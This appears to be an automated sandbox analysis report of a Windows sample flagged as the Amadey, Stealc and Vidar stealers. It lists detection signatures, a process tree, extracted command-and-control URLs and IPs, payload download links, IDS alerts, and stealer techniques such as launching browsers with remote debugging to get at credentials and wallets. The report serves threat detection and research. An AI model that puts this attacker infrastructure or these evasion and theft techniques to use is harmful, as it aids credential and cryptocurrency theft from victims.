Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1562586
MD5:	72870370b01acb1d84ea4f9baf6817bf
SHA1:	6d986173246c66c6fe45af46515c5fc3cb032864
SHA256:	e437ef53002765f2c3345b148af777931a4d87d99b9e6e173e5018c22508e85c
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2000 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 72870370B01ACB1D84EA4F9BAF6817BF)

chrome.exe (PID: 2924 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7264 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2464 --field-trial-handle=2388,i,17089066467111702127,3519208974984720801,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7564 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8008 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2332 --field-trial-handle=2224,i,13681611062045776192,15171286190731383131,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 8664 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDBGIJEHIID.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsDBGIJEHIID.exe (PID: 8620 cmdline: "C:\Users\user\DocumentsDBGIJEHIID.exe" MD5: B20E350B0C7795A2BD612C71136B55AD)

skotes.exe (PID: 3808 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: B20E350B0C7795A2BD612C71136B55AD)

msedge.exe (PID: 8068 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7532 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3004 --field-trial-handle=2488,i,14213947528394681601,11574082288306542738,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8316 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6484 --field-trial-handle=2488,i,14213947528394681601,11574082288306542738,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8328 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6624 --field-trial-handle=2488,i,14213947528394681601,11574082288306542738,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5940 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6740 --field-trial-handle=2488,i,14213947528394681601,11574082288306542738,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 9084 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: B20E350B0C7795A2BD612C71136B55AD)

skotes.exe (PID: 5240 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: B20E350B0C7795A2BD612C71136B55AD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000017.00000003.2645701454.0000000005180000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000002.2669426184.0000000000941000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2592090534.00000000003DC000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2639653458.00000000052E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000002.3310024554.0000000000A51000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.2687977905.0000000000A51000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2593928893.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000002.2680209843.0000000000A51000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2077095798.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2592090534.0000000000311000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000019.00000003.3236682529.0000000005220000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000003.2582605099.00000000050F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 2000	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2000	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2000	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2000	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
23.2.skotes.exe.a50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
25.2.skotes.exe.a50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.DocumentsDBGIJEHIID.exe.940000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.skotes.exe.a50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 2000, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 2924, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T18:28:10.187065+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T18:28:10.065422+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T18:28:10.521593+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T18:28:12.295732+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T18:28:10.846358+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T18:28:09.606063+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T18:30:06.366275+0100	2856147	1	A Network Trojan was detected	192.168.2.5	50079	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T18:28:00.513834+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	50085	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T18:30:11.076632+0100	2803305	3	Unknown Traffic	192.168.2.5	50090	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T18:28:13.100790+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-25T18:28:36.510249+0100	2803304	3	Unknown Traffic	192.168.2.5	49761	185.215.113.206	80	TCP
2024-11-25T18:28:38.274511+0100	2803304	3	Unknown Traffic	192.168.2.5	49761	185.215.113.206	80	TCP
2024-11-25T18:28:39.900036+0100	2803304	3	Unknown Traffic	192.168.2.5	49761	185.215.113.206	80	TCP
2024-11-25T18:28:41.317969+0100	2803304	3	Unknown Traffic	192.168.2.5	49761	185.215.113.206	80	TCP
2024-11-25T18:28:45.171746+0100	2803304	3	Unknown Traffic	192.168.2.5	49761	185.215.113.206	80	TCP
2024-11-25T18:28:46.249631+0100	2803304	3	Unknown Traffic	192.168.2.5	49761	185.215.113.206	80	TCP
2024-11-25T18:28:52.135627+0100	2803304	3	Unknown Traffic	192.168.2.5	49892	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/nss3.dll8	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/mine/random.exe/=	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000017.00000003.2645701454.0000000005180000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.2000.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C516C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C516C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C66A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C664440 PK11_PrivDecrypt,	0_2_6C664440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C634420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C634420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6644C0 PK11_PubEncrypt,	0_2_6C6644C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C6B25B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C648670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C648670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C66A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C64E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C68A730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C690180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6643B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6C6643B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C687C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6C687C00

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.109.164:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.109.164:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.181.4:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.181.4:443 -> 192.168.2.5:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:50048 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2626855614.000000006C57D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2626855614.000000006C57D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 9MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:50079 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:50085

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

